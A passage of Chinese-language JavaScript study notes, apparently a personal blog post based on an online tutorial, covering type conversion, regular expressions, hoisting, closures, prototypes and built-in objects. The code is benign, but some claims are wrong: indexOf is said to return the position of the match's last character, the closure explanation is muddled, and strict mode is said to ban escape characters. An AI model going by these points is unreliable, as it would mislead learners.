    需要执行的代码
}

do/while 循环

语法

do
{
    需要执行的代码
}
while (条件);

类型转换

js中的数据类型

在 JavaScript 中有 6 种不同的数据类型:

  • string
  • number
  • boolean
  • object
  • function
  • symbol

3 种对象类型:

  • Object
  • Date
  • Array

2 个不包含任何值的数据类型:

  • null
  • undefined

typeof操作符

你可以使用 typeof 操作符来检测变量的数据类型。

typeof "John"                // 返回 string
typeof 3.14                  // 返回 number
typeof false                 // 返回 boolean
typeof [1,2,3,4]             // 返回 object
typeof {name:'John', age:34} // 返回 object

Attention

  • NaN 的数据类型是 number
  • 数组(Array)的数据类型是 object
  • 日期(Date)的数据类型为 object
  • null 的数据类型是 object
  • 未定义变量的数据类型为 undefined

constructor 属性

constructor 属性返回所有 JavaScript 变量的构造函数。

"John".constructor                 // 返回函数 String()  { [native code] }
(3.14).constructor                 // 返回函数 Number()  { [native code] }
false.constructor                  // 返回函数 Boolean() { [native code] }
[1,2,3,4].constructor              // 返回函数 Array()   { [native code] }
{name:'John', age:34}.constructor  // 返回函数 Object()  { [native code] }
new Date().constructor             // 返回函数 Date()    { [native code] }
function () {}.constructor         // 返回函数 Function(){ [native code] }

转换为字符串

全局方法 String() 可以将数字转换为字符串。

该方法可用于任何类型的数字,字母,变量,表达式:

String(x)         // 将变量 x 转换为字符串并返回
String(123)       // 将数字 123 转换为字符串并返回
String(100 + 23)  // 将数字表达式转换为字符串并返回
String(false)     // 返回 "false"
String(true)     // 返回 "true"
String(new Date())      // 返回 Thu Jul 17 2014 15:38:19 GMT+0200 (W. Europe Daylight Time)

Number 方法 toString() 也是有同样的效果。

x.toString()
(123).toString()
(100 + 23).toString()
false.toString()   // 返回 "false"
true.toString()      // 返回 "true"
obj = new Date()
obj.toString()   // 返回 Thu Jul 17 2014 15:38:19 GMT+0200 (W. Europe Daylight Time)

转换为数字

全局方法 Number() 可以将字符串转换为数字。

字符串包含数字(如 "3.14") 转换为数字 (如 3.14).

空字符串转换为 0。

其他的字符串会转换为 NaN (不是个数字)。

Number("3.14")    // 返回 3.14
Number(" ")       // 返回 0
Number("")        // 返回 0
Number("99 88")   // 返回 NaN
Number(false)     // 返回 0
Number(true)      // 返回 1
d = new Date();
Number(d)          // 返回 1404568027739

一元运算符+ :

Operator + 可用于将变量转换为数字:

var y = "5";      // y 是一个字符串
var x = + y;      // x 是一个数字

自动转换类型

当 JavaScript 尝试操作一个 "错误" 的数据类型时,会自动转换为 "正确" 的数据类型。

以下输出结果不是你所期望的:

5 + null  // 返回 5     null 转换为 0
"5" + null // 返回"5null"  null 转换为 "null"
"5" + 1   // 返回 "51"   1 转换为 "1" 
"5" - 1   // 返回 4     "5" 转换为 5

自动转换为字符串

当你尝试输出一个对象或一个变量时 JavaScript 会自动调用变量的 toString() 方法:

document.getElementById("demo").innerHTML = myVar;

myVar = {name:"Fjohn"} // toString 转换为 "[object Object]"
myVar = [1,2,3,4]    // toString 转换为 "1,2,3,4"
myVar = new Date()   // toString 转换为 "Fri Jul 18 2014 09:08:55 GMT+0200"

数字和布尔值也经常相互转换:

myVar = 123       // toString 转换为 "123"
myVar = true       // toString 转换为 "true"
myVar = false      // toString 转换为 "false"

正则表达式

语法

/正则表达式主体/修饰符(可选)

eg

var patt = /runoob/i

使用字符串方法

在 JavaScript 中,正则表达式通常用于两个字符串方法 : search() 和 replace()

eg:使用正则表达式搜索 "Runoob" 字符串,且不区分大小写

var str = "Visit Runoob!"; 
var n = str.search(/Runoob/i);

输出结果为6

使用正则表达式且不区分大小写将字符串中的 Microsoft 替换为 Runoob :

var str = document.getElementById("demo").innerHTML; 
var txt = str.replace(/microsoft/i,"Runoob");

正则表达式修饰符

修饰符可以在全局搜索中不区分大小写:

修饰符 描述
i 执行对大小写不敏感的匹配。
g 执行全局匹配(查找所有匹配而非在找到第一个匹配后停止)。
m 执行多行匹配。

正则表达式模式

方括号用于查找某个范围内的字符:

表达式 描述
[abc] 查找方括号之间的任何字符。
[0-9] 查找任何从 0 至 9 的数字。
(x|y) 查找任何以 | 分隔的选项。

元字符是拥有特殊含义的字符:

元字符 描述
\d 查找数字。
\s 查找空白字符。
\b 匹配单词边界。
\uxxxx 查找以十六进制数 xxxx 规定的 Unicode 字符。

量词:

量词 描述
n+ 匹配任何包含至少一个 n 的字符串。
n* 匹配任何包含零个或多个 n 的字符串。
n? 匹配任何包含零个或一个 n 的字符串。

使用 RegExp 对象

在 JavaScript 中,RegExp 对象是一个预定义了属性和方法的正则表达式对象。

使用 test()

test() 方法是一个正则表达式方法。

test() 方法用于检测一个字符串是否匹配某个模式,如果字符串中含有匹配的文本,则返回 true,否则返回 false。

以下实例用于搜索字符串中的字符 "e":

var patt = /e/;
patt.test("The best things in life are free!");

字符串中含有 "e",所以该实例输出为true

你可以不用设置正则表达式的变量,以上两行代码可以合并为一行:

/e/.test("The best things in life are free!")

exec()方法

exec() 方法是一个正则表达式方法。

exec() 方法用于检索字符串中的正则表达式的匹配。

该函数返回一个数组,其中存放匹配的结果。如果未找到匹配,则返回值为 null。

以下实例用于搜索字符串中的字母 "e":

/e/.exec("The best things in life are free!");

字符串中含有 "e",所以该实例输出为 e

处理报错 - throw、try 和 catch

try 语句测试代码块的错误。

catch 语句处理错误。

throw 语句抛出自定义错误。

finally 语句在 try 和 catch 语句之后,无论是否有触发异常,该语句都会执行。

eg:

function myFunction() {
  var message, x;
  message = document.getElementById("p01");
  message.innerHTML = "";
  x = document.getElementById("demo").value;
  try { 
    if(x == "") throw "值是空的";
    if(isNaN(x)) throw "值不是一个数字";
    x = Number(x);
    if(x > 10) throw "太大";
    if(x < 5) throw "太小";
  }
  catch(err) {
    message.innerHTML = "错误: " + err + ".";
  }
  finally {
    document.getElementById("demo").value = "";
  }
}

调试

具体见菜鸟教程,这里简记一下

debuger关键字

debugger 关键字用于停止执行 JavaScript,并调用调试函数。

var x = 15 * 5;
debugger;
document.getElementbyId("demo").innerHTML = x;

变量提升

JavaScript 中,函数及变量的声明都将被提升到函数的最顶部。

JavaScript 中,变量可以在使用后声明,也就是变量可以先使用再声明。

以下两个实例将获得相同的结果:

x = 5; // 变量 x 设置为 5

elem = document.getElementById("demo"); // 查找元素
elem.innerHTML = x;                     // 在元素中显示 x

var x; // 声明 x
var x; // 声明 x
x = 5; // 变量 x 设置为 5

elem = document.getElementById("demo"); // 查找元素
elem.innerHTML = x;                     // 在元素中显示 x

变量提升:函数声明和变量声明总是会被解释器悄悄地被"提升"到方法体的最顶部。

初始化的变量不会提升

var x = 5; // 初始化 x
var y = 7; // 初始化 y

elem = document.getElementById("demo"); // 查找元素
elem.innerHTML = x + " " + y;           // 显示 x 和 y

在头部声明你的变量

对于大多数程序员来说并不知道 JavaScript 变量提升。

如果程序员不能很好的理解变量提升,他们写的程序就容易出现一些问题。

严格模式

javascript可以在代码中声明严格模式消除代码的一些不严谨之处,提高代码可读性和运行效率,具体参考教程

eg:

"use strict";     //声明严格模式
myFunction();

function myFunction() {
    y = 3.14;   // 报错 (y 未定义)
}

严格模式的限制

  • 不允许使用未声明的变量(对象也是一个变量)

  • 不允许删除变量或函数

  • 不允许变量重名

  • 不允许使用八进制

  • 不允许使用转义字符

  • 不允许对只读属性赋值

  • 不允许删除一个自带属性

常见的就这些,就不逐个列举了,具体参考教程

表单相关

js和表单相关的......和Node好像没什么关系,参考教程吧

this

面向对象语言中 this 表示当前对象的一个引用。

但在 JavaScript 中 this 不是固定不变的,它会随着执行环境的改变而改变。

  • 在方法中,this 表示该方法所属的对象。
  • 如果单独使用,this 表示全局对象。
  • 在函数中,this 表示全局对象。
  • 在函数中,在严格模式下,this 是未定义的(undefined)。
  • 在事件中,this 表示接收事件的元素。
  • 类似 call() 和 apply() 方法可以将 this 引用到任何对象。

这里记一下不遇见的

单独使用

单独使用 this,则它指向全局(Global)对象。

在浏览器中,window 就是该全局对象为 [object Window]

事件中的this

在 HTML 事件句柄中,this 指向了接收事件的 HTML 元素

<button onclick="this.style.display='none'">
点我后我就消失了
</button>

let和const

ES2015(ES6) 新增加了两个重要的 JavaScript 关键字: letconst

let 声明的变量只在 let 命令所在的代码块内有效。

const 声明一个只读的常量,一旦声明,常量的值就不能改变。

在 ES6 之前,JavaScript 只有两种作用域: 全局变量 与 函数内的局部变量。

局部和全局变量就不说了,分别是函数内外声明的变量

块级作用域和let

使用 var 关键字声明的变量不具备块级作用域的特性,它在 {} 外依然能被访问到。

{ 
    var x = 2; 
}
// 这里可以使用 x 变量

在 ES6 之前,是没有块级作用域的概念的。

ES6 可以使用 let 关键字来实现块级作用域。

let 声明的变量只在 let 命令所在的代码块 {} 内有效,在 {} 之外不能访问。

在 ES6 之前,是没有块级作用域的概念的。

ES6 可以使用 let 关键字来实现块级作用域。

let 声明的变量只在 let 命令所在的代码块 {} 内有效,在 {} 之外不能访问。

重新定义变量

使用 var 关键字重新声明变量可能会带来问题。

在块中重新声明变量也会重新声明块外的变量

var x = 10;
// 这里输出 x 为 10
{ 
    var x = 2;
    // 这里输出 x 为 2
}
// 这里输出 x 为 2

let 关键字就可以解决这个问题,因为它只在 let 命令所在的代码块 {} 内有效。

var x = 10;
// 这里输出 x 为 10
{ 
    let x = 2;
    // 这里输出 x 为 2
}
// 这里输出 x 为 10

Json

  • JSON 英文全称 JavaScript Object Notation
  • JSON 是一种轻量级的数据交换格式。
  • JSON是独立的语言 *****
  • JSON 易于理解。

JSON 使用 JavaScript 语法,但是 JSON 格式仅仅是一个文本。
文本可以被任何编程语言读取及作为数据格式传递。

Json实例

以下 JSON 语法定义了 sites 对象: 3 条网站信息(对象)的数组:

{"sites":[
    {"name":"Runoob", "url":"www.runoob.com"}, 
    {"name":"Google", "url":"www.google.com"},
    {"name":"Taobao", "url":"www.taobao.com"}
]}

JSON 格式化后为 JavaScript 对象

通常我们从服务器中读取 JSON 数据,并在网页中显示数据。

简单起见,我们网页中直接设置 JSON 字符串 (你还可以阅读我们的 JSON 教程):

首先,创建 JavaScript 字符串,字符串为 JSON 格式的数据:

var text = '{ "sites" : [' +
'{ "name":"Runoob" , "url":"www.runoob.com" },' +
'{ "name":"Google" , "url":"www.google.com" },' +
'{ "name":"Taobao" , "url":"www.taobao.com" } ]}';

然后,使用 JavaScript 内置函数 JSON.parse()将字符串转换为 JavaScript 对象:

var obj = JSON.parse(text);

最后,在你的页面中使用新的 JavaScript 对象:

var text = '{ "sites" : [' +
    '{ "name":"Runoob" , "url":"www.runoob.com" },' +
    '{ "name":"Google" , "url":"www.google.com" },' +
    '{ "name":"Taobao" , "url":"www.taobao.com" } ]}';

obj = JSON.parse(text);
document.getElementById("demo").innerHTML = obj.sites[1].name + " " + obj.sites[1].url;

相关函数

函数 描述
JSON.parse() 用于将一个 JSON 字符串转换为 JavaScript 对象。
JSON.stringify() 用于将 JavaScript 值转换为 JSON 字符串。

javascript:void(0)

javascript:void(0) 中最关键的是 void 关键字, void 是 JavaScript 中非常重要的关键字,该操作符指定要计算一个表达式但是不返回值。

下面的代码创建了一个超级链接,当用户点击以后不会发生任何事。

<a href="javascript:void(0)">单击此处什么也不会发生</a>

href="#"与href="javascript:void(0)"的区别

# 包含了一个位置信息,默认的锚是#top 也就是网页的上端。

而javascript:void(0), 仅仅表示一个死链接。

在页面很长的时候会使用 # 来定位页面的具体位置,格式为:# + id

如果你要定义一个死链接请使用 javascript:void(0) 。

TIPS

void()仅仅是代表不返回任何值,但是括号内的表达式还是要运行,如

void(alert("Warnning!"))

函数详解

函数定义

JavaScript 使用关键字 function 定义函数。

函数可以通过声明定义,也可以是一个表达式。

在之前的教程中,你已经了解了函数声明的语法 :

function functionName(parameters) {
  执行的代码
}

函数表达式

JavaScript 函数可以通过一个表达式定义。

函数表达式可以存储在变量中:

var x = function (a, b) {return a * b};

在函数表达式存储在变量后,变量也可作为一个函数使用:

var x = function (a, b) {return a * b};
var z = x(4, 3);

以上函数实际上是一个 匿名函数 (函数没有名称)。

函数存储在变量中,不需要函数名称,通常通过变量名来调用。

Function() 构造函数

在以上实例中,我们了解到函数通过关键字 function 定义。

函数同样可以通过内置的 JavaScript 函数构造器(Function())定义。

var myFunction = new Function("a", "b", "return a * b");

var x = myFunction(4, 3);

实际上,你不必使用构造函数。上面实例写成匿名函数更方便

var myFunction = function (a, b) {return a * b};

var x = myFunction(4, 3);

函数提升

在之前的教程中我们已经了解了 "hoisting(提升)"。

提升(Hoisting)是 JavaScript 默认将当前作用域提升到前面去的的行为。

提升(Hoisting)应用在变量的声明与函数的声明。

因此,函数可以在声明之前调用:

myFunction(5);

function myFunction(y) {
    return y * y;
}

自调用函数

函数表达式可以 "自调用"。

自调用表达式会自动调用。

如果表达式后面紧跟 () ,则会自动调用。

不能自调用声明的函数。

通过添加括号,来说明它是一个函数表达式:

(function () {
    var x = "Hello!!";      // 我将调用自己
})();

以上函数实际上是一个 匿名自我调用的函数 (没有函数名)

函数是对象

在 JavaScript 中使用 typeof 操作符判断函数类型将返回 "function" 。

但是JavaScript 函数描述为一个对象更加准确。

JavaScript 函数有 属性方法

eg:

arguments.length 属性返回函数调用过程接收到的参数个数:

function myFunction(a, b) {
    return arguments.length;
}

toString() 方法将函数作为一个字符串返回:

function myFunction(a, b) {
    return a * b;
}

var txt = myFunction.toString();

箭头函数

ES6 新增了箭头函数。

箭头函数表达式的语法比普通函数表达式更简洁。

(参数1, 参数2, …, 参数N) => { 函数声明 }

(参数1, 参数2, …, 参数N) => 表达式(单一)
// 相当于:(参数1, 参数2, …, 参数N) =>{ return 表达式; }

当只有一个参数时,圆括号是可选的:

(单一参数) => {函数声明}
单一参数 => {函数声明}

没有参数的函数应该写成一对圆括号:

() => {函数声明}

eg

// ES5
var x = function(x, y) {
     return x * y;
}

// ES6
const x = (x, y) => x * y;

有的箭头函数都没有自己的 this。 不适合定义一个 对象的方法

当我们使用箭头函数的时候,箭头函数会默认帮我们绑定外层 this 的值,所以在箭头函数中 this 的值和外层的 this 是一样的。

箭头函数是不能提升的,所以需要在使用之前定义。

使用 const 比使用 var 更安全,因为函数表达式始终是一个常量。

如果函数部分只是一个语句,则可以省略 return 关键字和大括号 {},这样做是一个比较好的习惯:

函数参数

默认参数

ES6 支持函数带有默认参数(方式和python差不多)

function myFunction(x, y = 10) {
    // y is 10 if not passed or undefined
    return x + y;
}

myFunction(0, 2) // 输出 2
myFunction(5); // 输出 15, y 参数的默认值

arguments 对象

JavaScript 函数有个内置的对象 arguments 对象。

argument 对象包含了函数调用的参数数组。

通过这种方式你可以很方便的找到最大的一个参数的值:

x = findMax(1, 123, 500, 115, 44, 88);

function findMax() {
    var i, max = arguments[0];

    if(arguments.length < 2) return max;

    for (i = 0; i < arguments.length; i++) {
        if (arguments[i] > max) {
            max = arguments[i];
        }
    }
    return max;
}

函数调用

这里就只记一下作为函数方法调用函数,其他的方式上面已经写过了

在 JavaScript 中, 函数是对象。JavaScript 函数有它的属性和方法。

call()apply() 是预定义的函数方法。 两个方法可用于调用函数,两个方法的第一个参数必须是对象本身。

function myFunction(a, b) {
    return a * b;
}
myObject = myFunction.call(myObject, 10, 2);     // 返回 20
function myFunction(a, b) {
    return a * b;
}
myArray = [10, 2];
myObject = myFunction.apply(myObject, myArray);  // 返回 20

两个方法都使用了对象本身作为第一个参数。 两者的区别在于第二个参数: apply传入的是一个参数数组,也就是将多个参数组合成为一个数组传入,而call则作为call的参数传入(从第二个参数开始)。

在 JavaScript 严格模式(strict mode)下, 在调用函数时第一个参数会成为 this 的值, 即使该参数不是一个对象。

在 JavaScript 非严格模式(non-strict mode)下, 如果第一个参数的值是 null 或 undefined, 它将使用全局对象替代。

闭包

先举个反例

function add() {
    var counter = 0;
    return counter += 1;
}

add();
add();
add();

// 本意是想输出 3, 但事与愿违,输出的都是 1 !

这种情况就可以用到闭包

var add = (function () {
    var counter = 0;
    return function () {return counter += 1;}
})();

add();
add();
add();

// 计数器为 3

解析:

因为函数内部的函数可以访问函数外部的属性,所以当调用add()的时候,第一层函数的counter能被内部访问到,而内部函数的counter属性由于没有初始化,就会去寻找外部函数的同名属性,所以初始就为访问到外层属性counter的值,0

第二次及后门调用add()时,第一层的counter属性再次被初始化为0,但是外层函数属性是不能访问内层函数的属性的,所以内层函数的counter没有被重置为0,且这个时候内层函数的counter在上一次执行的时候已经被初始化,所以也不会去访问外层的counter来给自己赋值

最终实现计数的原理

总之,闭包就是利用内层函数能够访问外层函数的属性,而外层函数不能访问内层函数的属性这一特点的函数内外层技术

对象详解

JavaScript 中的所有事物都是对象:字符串、数值、数组、函数...

此外,JavaScript 允许自定义对象。

所有事物皆是对象

JavaScript 提供多个内建对象,比如 String、Date、Array 等等。 对象只是带有属性和方法的特殊数据类型。

  • 布尔型可以是一个对象。
  • 数字型可以是一个对象。
  • 字符串也可以是一个对象
  • 日期是一个对象
  • 数学和正则表达式也是对象
  • 数组是一个对象
  • 甚至函数也可以是对象

访问对象的属性

属性是与对象相关的值。

访问对象属性的语法是:

objectName.propertyName

这个例子使用了 String 对象的 length 属性来获得字符串的长度:

var message="Hello World!";
var x=message.length;

在以上代码执行后,x 的值将是:

12

访问对象的方法

方法是能够在对象上执行的动作。

您可以通过以下语法来调用方法:

objectName.methodName()

这个例子使用了 String 对象的 toUpperCase() 方法来将文本转换为大写:

var message="Hello world!";
var x=message.toUpperCase();

在以上代码执行后,x 的值将是:

HELLO WORLD!

创建直接的实例

这个例子创建了对象的一个新实例,并向其添加了四个属性:

person=new Object();
person.firstname="John";
person.lastname="Doe";
person.age=50;
person.eyecolor="blue";

替代语法(使用对象 literals):

person={firstname:"John",lastname:"Doe",age:50,eyecolor:"blue"};

使用对象构造器

本例使用函数来构造对象:

function person(firstname,lastname,age,eyecolor)
{
    this.firstname=firstname;
    this.lastname=lastname;
    this.age=age;
    this.eyecolor=eyecolor;
}

在JavaScript中,this通常指向的是我们正在执行的函数本身,或者是指向该函数所属的对象(运行时)

一旦您有了对象构造器,就可以创建新的对象实例,就像这样:

var myFather=new person("John","Doe",50,"blue");
var myMother=new person("Sally","Rally",48,"green");

把属性添加到 JavaScript 对象

您可以通过为对象赋值,向已有对象添加新属性:

假设 person 对象已存在 - 您可以为其添加这些新属性:firstname、lastname、age 以及 eyecolor:

person.firstname="John";
person.lastname="Doe";
person.age=30;
person.eyecolor="blue";
x=person.firstname;

在以上代码执行后,x 的值将是:

John

把方法添加到 JavaScript 对象

方法只不过是附加在对象上的函数。

在构造器函数内部定义对象的方法:

function person(firstname,lastname,age,eyecolor)
{
    this.firstname=firstname;
    this.lastname=lastname;
    this.age=age;
    this.eyecolor=eyecolor;

    this.changeName=changeName;
    function changeName(name)
    {
        this.lastname=name;
    }
}

changeName() 函数 name 的值赋给 person 的 lastname 属性。

myMother.changeName("Doe");

JavaScript 类

JavaScript 是面向对象的语言,但 JavaScript 不使用类。

在 JavaScript 中,不会创建类,也不会通过类来创建对象(就像在其他面向对象的语言中那样)。

JavaScript 基于 prototype,而不是基于类的。

javascript语法中虽然有class,但那也只是个语法糖而已

JavaScript for...in 循环

JavaScript for...in 语句循环遍历对象的属性。

语法

for (variable in object)
{
    执行的代码……
}

TIPS: for...in 循环中的代码块将针对每个属性执行一次。

实例

循环遍历对象的属性:

var person={fname:"John",lname:"Doe",age:25}; 

for (x in person)
{
    txt=txt + person[x];
}

JavaScript prototype(原型对象)

所有的 JavaScript 对象都会从一个 prototype(原型对象)中继承属性和方法。

在前面的章节中我们学会了如何使用对象的构造器(constructor):

实例:

function Person(first, last, age, eyecolor) {
  this.firstName = first;
  this.lastName = last;
  this.age = age;
  this.eyeColor = eyecolor;
}

var myFather = new Person("John", "Doe", 50, "blue");
var myMother = new Person("Sally", "Rally", 48, "green");

我们知道在一个已存在的对象构造器中是不能添加新的属性的:

Person.nationality = "English"; 这样添加会失败

而要添加一个新的属性需要在在构造器函数中添加:

function Person(first, last, age, eyecolor) {
  this.firstName = first;
  this.lastName = last;
  this.age = age;
  this.eyeColor = eyecolor;
  this.nationality = "English";
}

prototype 继承

所有的 JavaScript 对象都会从一个 prototype(原型对象)中继承属性和方法:

  • Date 对象从 Date.prototype 继承。
  • Array 对象从 Array.prototype 继承。
  • Person 对象从 Person.prototype 继承。

所有 JavaScript 中的对象都是位于原型链顶端的 Object 的实例。

JavaScript 对象有一个指向一个原型对象的链。当试图访问一个对象的属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾。

Date 对象, Array 对象, 以及 Person 对象从 Object.prototype 继承。

添加属性和方法

有的时候我们想要在所有已经存在的对象添加新的属性或方法。

另外,有时候我们想要在对象的构造函数中添加属性或方法。

使用 prototype 属性就可以给对象的构造函数添加新的属性:

function Person(first, last, age, eyecolor) {
  this.firstName = first;
  this.lastName = last;
  this.age = age;
  this.eyeColor = eyecolor;
}

Person.prototype.nationality = "English";

当然我们也可以使用 prototype 属性就可以给对象的构造函数添加新的方法:

function Person(first, last, age, eyecolor) {
  this.firstName = first;
  this.lastName = last;
  this.age = age;
  this.eyeColor = eyecolor;
}

Person.prototype.name = function() {
  return this.firstName + " " + this.lastName;
};

Number对象

所有 JavaScript 数字均为 64 位

JavaScript 不是类型语言。与许多其他编程语言不同,JavaScript 不定义不同类型的数字,比如整数、短、长、浮点等等。

在JavaScript中,数字不分为整数类型和浮点型类型,所有的数字都是由 浮点型类型。JavaScript 采用 IEEE754 标准定义的 64 位浮点格式表示数字,它能表示最大值为 ±1.7976931348623157e+308,最小值为 ±5e-324。

八进制和十六进制

如果前缀为 0,则 JavaScript 会把数值常量解释为八进制数,如果前缀为 0 和 "x",则解释为十六进制数。

var y = 0377;
var z = 0xFF;

默认情况下,JavaScript 数字为十进制显示。

但是你可以使用 toString() 方法 输出16进制、8进制、2进制。

var myNumber=128;
myNumber.toString(16);   // 返回 80
myNumber.toString(8);    // 返回 200
myNumber.toString(2);    // 返回 10000000

当数字运算结果超过了JavaScript所能表示的数字上限(超过15位,溢出),结果为一个特殊的无穷大(infinity)值,在JavaScript中以Infinity表示。同样地,当负数的值超过了JavaScript所能表示的负数范围,结果为负无穷大,在JavaScript中以-Infinity表示。无穷大值的行为特性和我们所期望的是一致的:基于它们的加、减、乘和除运算结果还是无穷大(当然还保留它们的正负号)。

NaN - 非数字值

NaN 属性是代表非数字值的特殊值。该属性用于指示某个值不是数字。可以把 Number 对象设置为该值,来指示其不是数字值。

你可以使用 isNaN() 全局函数来判断一个值是否是 NaN 值。

数字可以是数字或者对象

数字可以私有数据进行初始化,就像 x = 123;

JavaScript 数字对象初始化数据, var y = new Number(123);

Number 属性

属性 描述
Number.MAX_VALUE 最大值
Number.MIN_VALUE 最小值
Number.NaN 非数字
Number.NEGATIVE_INFINITY 负无穷,在溢出时返回
Number.POSITIVE_INFINITY 正无穷,在溢出时返回
Number.EPSILON 表示 1 和比最接近 1 且大于 1 的最小 Number 之间的差别
Number.MIN_SAFE_INTEGER 最小安全整数。
Number.MAX_SAFE_INTEGER 最大安全整数。

Number方法

方法 描述
Number.parseFloat() 将字符串转换成浮点数,和全局方法 parseFloat() 作用一致。
Number.parseInt() 将字符串转换成整型数字,和全局方法 parseInt() 作用一致。
Number.isFinite() 判断传递的参数是否为有限数字。
Number.isInteger() 判断传递的参数是否为整数。
Number.isNaN() 判断传递的参数是否为 isNaN()。
Number.isSafeInteger() 判断传递的参数是否为安全整数。

String 对象

计算字符串长度

字符串(String)使用长度属性length来计算字符串的长度:

var txt="Hello World!";
document.write(txt.length);

var txt="ABCDEFGHIJKLMNOPQRSTUVWXYZ";
document.write(txt.length);

上诉会写入字符串长度

在字符串中查找字符串

字符串使用 indexOf() 来定位字符串中某一个指定的字符首次出现的位置:

var str="Hello world, welcome to the universe.";
var n=str.indexOf("welcome");

会返回21(返回 welcome 最后一个字符中 e 的位置)

内容匹配

match()函数用来查找字符串中特定的字符,并且如果找到的话,则返回这个字符。

var str="Hello world!";
document.write(str.match("world") + "<br>");
document.write(str.match("World") + "<br>");
document.write(str.match("world!"));

运行结果:

world
null
world!

替换内容

replace() 方法在字符串中用某些字符替换另一些字符。

str="Please visit Microsoft!"
var n=str.replace("Microsoft","Runoob");

字符串大小写转换

字符串大小写转换使用函数 toUpperCase() / toLowerCase():

var txt="Hello World!";       // String
var txt1=txt.toUpperCase();   // txt1 文本会转换为大写
var txt2=txt.toLowerCase();   // txt2 文本会转换为小写

字符串转为数组

字符串使用split()函数转为数组

txt="a,b,c,d,e"   // String
txt.split(",");   // 使用逗号分隔
txt.split(" ");   // 使用空格分隔
txt.split("|");   // 使用竖线分隔 

字符串属性和方法

属性:

  • length
  • prototype
  • constructor

方法:

  • charAt()
  • charCodeAt()
  • concat()
  • fromCharCode()
  • indexOf()
  • lastIndexOf()
  • match()
  • replace()
  • search()
  • slice()
  • split()
  • substr()
  • substring()
  • toLowerCase()
  • toUpperCase()
  • valueOf()

更多方法与属性介绍可以参考:JavaScript String 对象

Array(数组) 对象

创建一个数组

创建一个数组,有三种方法。

下面的代码定义了一个名为 myCars的数组对象:

1: 常规方式:

var myCars=new Array();
myCars[0]="Saab";   
myCars[1]="Volvo";
myCars[2]="BMW";

2: 简洁方式:

var myCars=new Array("Saab","Volvo","BMW");

3: 字面:

var myCars=["Saab","Volvo","BMW"];

访问数组

通过指定数组名以及索引号码,你可以访问某个特定的元素。

以下实例可以访问myCars数组的第一个值:

var name=myCars[0];

在一个数组中你可以有不同的对象

所有的JavaScript变量都是对象。数组元素是对象。函数是对象。

因此,你可以在数组中有不同的变量类型。

你可以在一个数组中包含对象元素、函数、数组:

myArray[0]=Date.now;
myArray[1]=myFunction;
myArray[2]=myCars;

数组方法和属性

使用数组对象预定义属性和方法:

var x=myCars.length       // myCars 中元素的数量
var y=myCars.indexOf("Volvo")  // "Volvo" 值的索引值

完整数组对象参考手册

RegExp 对象

em......本来学php的时候regexp已经学的差不多了,不过还是记一下吧。。。。

语法

var patt=new RegExp(pattern,modifiers);

或更简单的方法

var patt=/pattern/modifiers;
  • 模式描述了一个表达式模型。
  • 修饰符(modifiers)描述了检索是否是全局,区分大小写等。

注意:当使用构造函数创造正则对象时,需要常规的字符转义规则(在前面加反斜杠 \)。比如,以下是等价的:

var re = new RegExp("\\w+");
var re = /\w+/;

RegExp 修饰符

修饰符用于执行不区分大小写和全文的搜索。

i - 修饰符是用来执行不区分大小写的匹配。

g - 修饰符是用于执行全文的搜索(而不是在找到第一个就停止查找,而是找到所有的匹配)。

实例:全文查找和不区分大小写搜索 "is"

var str="Is this all there is?";
var patt1=/is/gi;
document.write(str.match(patt1));

输出:

Is,is,is

test()

test()方法搜索字符串指定的值,根据结果并返回真或假。

下面的示例是从字符串中搜索字符 "e" :

var patt1=new RegExp("e");
document.write(patt1.test("The best things in life are free"));

输出 true

exec()

exec() 方法检索字符串中的指定值。返回值是被找到的值。如果没有发现匹配,则返回 null。

下面的示例是从字符串中搜索字符 "e" :

var patt1=new RegExp("e");
document.write(patt1.exec("The best things in life are free"));

输出 e

发表在 node.js相关 | 留下评论